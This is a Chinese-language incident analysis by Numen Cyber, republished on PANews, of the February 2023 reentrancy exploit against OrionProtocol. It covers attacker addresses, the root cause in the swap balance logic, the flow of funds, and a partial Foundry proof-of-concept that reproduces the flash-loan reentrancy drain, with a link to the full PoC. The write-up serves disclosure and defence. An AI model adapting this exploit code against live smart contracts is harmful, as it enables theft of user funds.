OrionProtocol 重入攻击分析附PoC

This article is not available in the current language yet. Showing the original version.
根据NUMEN链上监控显示,Feb-02-2023 03:40:20 PM +UTC,Ethereum和Binance链上OrionProtocol因为合约漏洞遭到重入攻击,损失 2844766 USDT (Ethereum)和 191606 BUSD(BSC),价值约290 万美元。

OrionProtocol 重入攻击分析附PoC

事件背景

根据NUMEN链上监控显示,Feb-02-2023 03:40:20 PM +UTCEthereumBinance链上OrionProtocol因为合约漏洞遭到重入攻击,损失 2844766 USDT (Ethereum)和 191606 BUSD(BSC),价值约290 万美元。

Ethereum链过程分析: 

攻击者地址:0x837962b686fd5a407fb4e5f92e8be86a230484bd 

攻击者合约:0x5061f7e6dfc1a867d945d0ec39ea2a33f772380a 

攻击交易:0xa6f63fcb6bec8818864d96a5b1bb19e8bd85ee37b2cc916412e720988440b2aa 

OrionProtocol 重入攻击分析附PoC

攻击分析

攻击者首先创建Token合约(0x64acd987a8603eeaf1ee8e87addd512908599aec),并对Token进行转移及授权,为后续攻击做准备。 

OrionProtocol 重入攻击分析附PoC

攻击者通过UNI-V2.swap方法借款并调用ExchangeWithAtomic.swapThroughOrionPool方法进行代币兑换,兑换路径为 

path=[USDC, 0x64acd987a8603eeaf1ee8e87addd512908599aec,USDT] 

路径0x64ac0aec是攻击者创建的Token合约,攻击者将使用该合约进行回调。 

OrionProtocol 重入攻击分析附PoC

调用ExchangeWithAtomic.swapThroughOrionPool方法兑换时,由于攻击者创建的Token合约存在回调,所以攻击者通过Token.Transfer继续回调ExchangeWithAtomic.depositAsset进行重入让存款金额累加,随后取款完成获利。 

OrionProtocol 重入攻击分析附PoC

资金流向

黑客初始资金来自于币安热钱包账户,获利的1651ETH其中还657.5枚还留在钱包地址中,其余的已经通过Tornado.Cash进行转移。 

OrionProtocol 重入攻击分析附PoC

OrionProtocol 重入攻击分析附PoC

漏洞核心

关键问题在doSwapThroughOrionPool函数 

合约地址:https://etherscan.io/address/0x420a50a62b17c18b36c64478784536ba980feac8#code 

OrionProtocol 重入攻击分析附PoC

然后跟进到_doSwapTokens函数。 

OrionProtocol 重入攻击分析附PoC

看到转账发生之后更新curBalance,所以在faketokentransfer新增一个回调功能,回调代码就是调用depositAsset函数,所以导致curBalance错误更新,然后攻击者在还完闪电贷之后调用withdraw提走资金  

攻击复现

部分POC代码 

contract CounterTest is Test { 
 
 
    function setUp() public { 
 
 
    } 
    UNI uni=UNI(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852); 
    USDT usdt=USDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); 
    USDC usdc=USDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); 
    OrionPoolV2Pair orionpoolv2pair=OrionPoolV2Pair(0x13e557c51C0a37E25E051491037Ee546597c689F); 
    ExchangeWithAtomic exchangewithatomic=ExchangeWithAtomic(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA); 
    OrionPoolV2Factory orionpoolv2factory=OrionPoolV2Factory(0x5FA0060FcfEa35B31F7A5f6025F0fF399b98Edf1); 
    address[] public tokens; 
    function testa() public{ 
        ERC20 fakeA=new ERC20("fakea","fa"); 
        address pair1=orionpoolv2factory.createPair(address(fakeA),address(usdc)); 
        address pair2=orionpoolv2factory.createPair(address(fakeA),address(usdt)); 
        vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199); 
        usdc.transfer(address(this),500000); 
        vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199); 
        usdc.transfer(address(this),1000000); 
        vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199); 
        usdc.transfer(address(pair1),500000); 
        vm.prank(0x5754284f345afc66a98fbB0a0Afe71e0F007B949); 
        usdt.transfer(address(pair2),500000); 
        vm.prank(0x5754284f345afc66a98fbB0a0Afe71e0F007B949); 
        usdt.transfer(address(this),1); 
        fakeA.transfer(address(pair1),500000000000000000); 
        fakeA.transfer(address(pair2),500000000000000000); 
        pair(pair1).mint(address(this)); 
        pair(pair2).mint(address(this)); 
        usdt.approve(address(exchangewithatomic),type(uint256).max); 
        usdc.approve(address(exchangewithatomic),type(uint256).max); 
        usdc.approve(address(orionpoolv2pair),type(uint256).max); 
        tokens.push(address(usdc)); 
        tokens.push(address(fakeA)); 
        tokens.push(address(usdt)); 
        exchangewithatomic.depositAsset(address(usdc),500000); 
        uni.swap(0,2844766426325,address(this),hex"000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000296594ad4d5"); 
        console2.log(usdt.balanceOf(address(this))); 
    } 
    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{ 
        exchangewithatomic.swapThroughOrionPool(10000,0,tokens,true); 
        //uint r1= 
        exchangewithatomic.getBalance(address(usdt),address(this)); 
        uint256 r2=usdt.balanceOf(address(exchangewithatomic)); 
        exchangewithatomic.withdraw(address(usdt),5689532852749); 
        usdt.transfer(address(uni),2853326405542); 
    } 
    function deposit() public{ 
        uint r3=usdt.balanceOf(address(this)); 
        exchangewithatomic.depositAsset(address(usdt),uint112(r3)); 
    } 
} 

测试结果

OrionProtocol 重入攻击分析附PoC

OrionProtocol 重入攻击分析附PoC

和调用栈结果一致。 

 

完整poc链接: 

https://github.com/numencyber/SmartContractHack_PoC/tree/main/OrionProtocolHack 

总结

NUMEN实验室提醒项目方,合约存在兑换功能时,需要考虑多种Token以及多种兑换路径出现的意外情况,并且对于合约代码逻辑遵循先判断,后写入变量,再进行外部调用的编码规范(Checks-Effects-Interactions)会使项目更加安全稳定。保障合约风险尽可能被消除在链下,NUMEN专注于为web3生态安全保驾护航。 

Share to:

Author: Numen Cyber

Opinions belong to the column author and do not represent PANews.

This content is not investment advice.

Image source: Numen Cyber. If there is any infringement, please contact the author for removal.

Follow PANews official accounts, navigate bull and bear markets together
PANews APP
The Frontier Digital Ecosystem 2026 Asia-Pacific Summit will kick off in Hangzhou on April 8.
PANews Newsflash